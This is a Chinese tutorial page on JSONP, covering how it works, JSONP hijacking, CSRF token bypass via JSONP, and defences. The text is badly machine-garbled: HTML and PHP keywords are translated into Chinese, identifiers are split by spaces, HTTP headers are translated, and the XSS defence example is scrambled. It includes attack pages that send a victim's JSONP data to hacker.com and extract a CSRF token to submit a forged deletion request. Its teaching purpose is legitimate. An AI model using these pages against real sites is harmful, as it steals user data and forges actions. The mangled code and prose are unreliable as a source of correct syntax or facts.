jsonp安全吗,jsonp是什么,怎样实现的

jsonp安全吗,jsonp是什么,怎样实现的,jsonp的简单介绍以及其安全风险

jsonP的原理是动态插入一个带有跨域url的脚本标签,然后调用一个回调函数,把我们需要的JSON数据作为参数传入,通过一些逻辑把数据显示在页面上。本文主要介绍jsonp的简要介绍及其安全风险的相关信息。有需要的朋友可以参考一下。

目录

JSONP介绍JSONP劫持利用JSONP绕过令牌保护进行csrf攻击JSONP劫持挖掘与防御参考摘要

JSONP介绍

说到跨域请求资源的方法,最常用的方法是JSONP/CORS。下面用一个具体的例子来介绍JSONP的工作原理。

JSP的全称是JSON with Padding,是基于JSON格式解决跨域资源请求的解决方案。他实现的基本原理是利用了HTML里script元素标签没有跨域限制

JSP的原理是用跨域url动态插入脚本标签,然后调用回调函数,把我们需要的jsonP数据作为参数传入,通过一些逻辑把数据显示在页面上。

例如,通过脚本Jsonpcallback=callback访问http://www.test.com/index.html?脚本执行后会调用回调函数,参数是获取的数据。

原理很简单。在本地复制。首先,创建新的callback.php:

!callback.php

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

头(' Content-type:application/JSON ');

$ callback=$ _ GET[' callback '];

//json数据

$ JSON _ data=' { ' customername 1 ':' user 1 ',' password ':' 12345678 ' } ';

//以jsonp格式输出数据

echo $回调。'(' .$json_data。')';

然后创建一个新的test.html:

!test.html

超文本标记语言

标题测试/标题

meta charset='utf-8 '

脚本类型='文本/javascript '

函数呵呵呵(obj){

alert(obj[' password ']);

}

/脚本

/头

身体

script type=' text/JavaScript ' src=' http://localhost/callback . PHP?回调=呵呵呵'/脚本

/body

/html

当我们访问test.html时,页面将执行脚本并请求http://localhost/callback.php?Callback=呵呵呵,然后把请求的内容作为参数,执行呵呵呵函数,对请求的内容进行预警。最终结果如下

这样就通过js操作实现了跨域请求的资源,绕过了同源策略。

但是随着业务的发展,总会出现安全问题,JSONP使用不当也会造成很多安全问题。

JSONP劫持

对于JSONP传输数据,正常的业务是用户在域名B下请求域名A下的数据,然后进行进一步的操作。

然而,域名A的请求通常需要认证。黑客如何获取这些信息?我们可以自己构建一个页面,然后引诱用户点击。在这个页面中,我们请求域名A资源,然后回调函数将请求的资源发送回黑客服务器。

是的,JSONP劫持类似于CSRF漏洞,步骤大致如下图所示(来自参考文章1):

使用代码如下:

超文本标记语言

标题测试/标题

meta charset='utf-8 '

脚本类型='文本/javascript '

函数呵呵呵(obj){

var my form=document . createelement(' form ');

my form . action=' http://hacker . com/redirect . PHP ';

myForm.method=' GET

for(对象中的变量k){

var my input=document . createelement(' input ');

myInput.setAttribute('name ',k);

myInput.setAttribute('value ',obj[k]);

my form . appendchild(my input);

}

document . body . appendchild(my form);

my form . submit();

document . body . remove child(my form);

}

/脚本

/头

身体

script type=' text/JavaScript ' src=' http://localhost/callback . PHP?回调=呵呵呵'/脚本

/body

/html

用户被诱惑访问这个html,会以用户身份访问http://localhost/callback.php?回调=呵呵呵,获取敏感数据,然后执行呵呵呵函数将数据发送到http://hacker.com/redirect.php.数据包捕获可以拦截以下请求数据包:

GET /redirect.php?customername 1=user 1 password=12345678 HTTP/1.1

主持人:hacker.com

用户代理:Mozilla/5.0(Windows NT 10.0;WOW64rv:52.0)壁虎/20100101火狐/52.0

接受:text/html,application/xhtml xml,application/XML;q=0.9,*/*;q=0.8

接受-语言:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

接受编码:gzip,deflate

推荐人:http://10.133.136.120/test.html

DNT: 1

连接:关闭

升级-不安全-请求:1

黑客只需要在redirect.php保存数据,然后重定向到Baidu.com,这是一个完美的JSONP劫持。

利用JSONP绕过token防护进行csrf攻击

具体例子见参考文献2和3。

从上面的例子我们知道,JSONP可以获取敏感数据,在某些情况下,它还可以利用JSONP劫持绕过令牌限制来完成csrf攻击。

假设有这样一个场景:服务器对接收到的请求包进行判断,如果包含回调参数则返回JSONP格式的数据,否则返回正常页面。代码如下:test.php

!callback.php

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

头(' Content-type:application/JSON ');

//json数据

$ JSON _ data=' { ' customername 1 ':' user 1 ',' password ':' 12345678 ' } ';

if(isset($ _ GET[' callback ']){

$ callback=$ _ GET[' callback '];

//如果包含回调参数,则以jsonp格式输出数据

echo $回调。'(' .$json_data。')';

}否则{

echo $ json _ data

}

对于场景,如果存在JSONP劫持,我们可以获取页面中的内容,提取csrf_token,然后提交表单,造成csrf漏洞。示例代码如下(摘自参考文章2):

超文本标记语言

标题测试/标题

meta charset='utf-8 '

/头

身体

div id='test'/div

脚本类型='文本/javascript '

功能测试(对象){

//获取对象中的属性值

var content=obj['html']

//定期匹配参数值

var token=content.match('token='(。*?)'')[1];

//添加一个表单节点

var parent=document . getelementbyid(' test ');

var child=document . createelement(' form ');

child.method=' POST

child . action=' http://vuln . com/del . html ';

child.id='test1 '

parent . append child(child);

var parent _ 1=document . getelementbyid(' test1 ');

var child _ 1=document . createelement(' input ');

child _ 1.type=' hiddenchild _ 1.name=' tokenchild _ 1.value=token

var child _ 2=document . createelement(' input ');

child _ 2.type=' submit

parent _ 1 . appendchild(child _ 1);

parent _ 1 . appendchild(child _ 2);

}

/脚本

script type=' text/JavaScript ' src=' http://vuln . com/Cao Zuo . html?htmlcallback=test'/script

/body

/html

Htmlcallback返回一个对象obj,该对象作为参数传递给测试函数。对对象中名为html的属性值进行操作,并定期匹配标记。然后添加表单,表单自动提交完成操作。当用户点击攻击页面时,会收到csrf攻击。

JSONP劫持挖掘与防御

对于漏洞挖掘,首先需要尽可能找到所有接口,尤其是返回数据格式为JSONP的接口。(可以检索关键字回调json jsonp email等。在数据包中,或者可以添加回调参数来观察返回值是否变化)。

找到接口后,返回值需要包含敏感信息,可以被不同域的页面请求(即是否有refer限制。事实上,如果接口上有refer限制,它可能会被绕过,这将在以后的文章中讨论)。

对JSONP劫持的防御其实和csrf差不多。以下摘自参考文献4:

根据JSON格式标准限制源引用输出(设置内容类型:application/JSON;Charset=utf-8),防止http://127.0.0.1/getUsers.php?形式为callback=script alert(/Xss/)/script的xss过滤回调函数名和JSON数据输出,防止XSS。

参考

Jsonp劫持原理及挖掘方法JSONP绕过CSRF保护令牌,在新浪某社区分享了一个JSONP劫持引起的CSRF蠕虫的JSONP安全攻防技术。

总结

关于jsonp的简介及其安全隐患的这篇文章到此为止。有关jsonp安全风险的更多信息,请搜索我们以前的文章或继续浏览下面的相关文章。希望大家以后能多多支持我们!

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

相关文章阅读

  • js把字符串转为json,json字符串转换成json对象
  • js把字符串转为json,json字符串转换成json对象,js 将json字符串转换为json对象的方法解析
  • json语法格式,json格式定义
  • json语法格式,json格式定义,Json格式详解
  • json格式数据类型,什么是JSON数据-其常见格式是什么-
  • json格式数据类型,什么是JSON数据-其常见格式是什么-,JSON 数据格式详解
  • json格式怎么写,json文件内容格式
  • json格式怎么写,json文件内容格式,json文件书写格式详解
  • json数组对象转化为json字符串,js把数组转化为json
  • json字符串转换成对象有哪几种方法,字符串转化为json的方法
  • json字符串转换成对象有哪几种方法,字符串转化为json的方法,JSON对象转化为字符串详解
  • json基础介绍与详细用法教程,json基础知识
  • json基础介绍与详细用法教程,json基础知识,JSON基础介绍与详细用法
  • json去掉反斜杠,json字符串中有反斜杠
  • json去掉反斜杠,json字符串中有反斜杠,详解json串反转义(消除反斜杠)
  • 留言与评论(共有 条评论)
       
    验证码: